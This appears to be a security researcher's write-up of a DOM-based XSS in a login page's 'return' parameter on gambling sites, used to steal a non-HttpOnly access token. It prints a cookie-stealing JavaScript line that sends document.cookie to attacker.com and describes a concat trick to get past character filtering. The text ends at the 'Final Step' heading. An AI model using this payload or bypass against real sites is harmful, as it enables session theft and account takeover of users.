XSS to Account Takeover — Gambling Sites

Today, the gambling industry is one of the hottest topics. so I decided to examine this site for vulnerabilities. About 80% of these sites use a single script. This means that if one of them has a problem, the others will have the same problem, putting several million people at risk!

Step One — Information Gathering
I had to look for vulnerable pages. I checked several sections of the site but did not conclude. Then accidentally noticed that the login page is displayed to me even if I’m logged in. It might be a programming mistake, but it could become dangerous if there is a vulnerability on the page. At that point, if the user has already logged into his account, we might be able to gain access to it.

I started by checking the page’s source. In the URL, a parameter called “return” is passed. The address to which the user is transferred once logged in. DOM uses this value directly and allows us to execute JavaScript code.

Step Two — Vulnerability
The DOM-Based XSS bug was the first thing that came to my mind. As you can see, user information including access token, name, username, balance, etc. is stored in cookies. JavaScript isn’t permitted to read HTTPOnly cookies for security reasons; however, the access_token flag is not enabled, which is exactly what we need! Our next step will be to prepare the payload to steal cookies from the user.

Filtering the input parameters was the most challenging aspect of this vulnerability. I found the forbidden characters by using different phrases.

Step Three — Payload
To send cookies to our server, we must use the following payload. but the problem is that the characters are filtered, so it does not work!

var url = “http://attacker.com/evil.php?cookie=" + document.cookie; document.location = url;

Next problem:
We cannot add cookies to our URL because the plus sign (+) is filtered.
Bypass: Splitting the address into two parts (the site and cookies), and combining them using “concat” in a new variable.

Final Step — Attack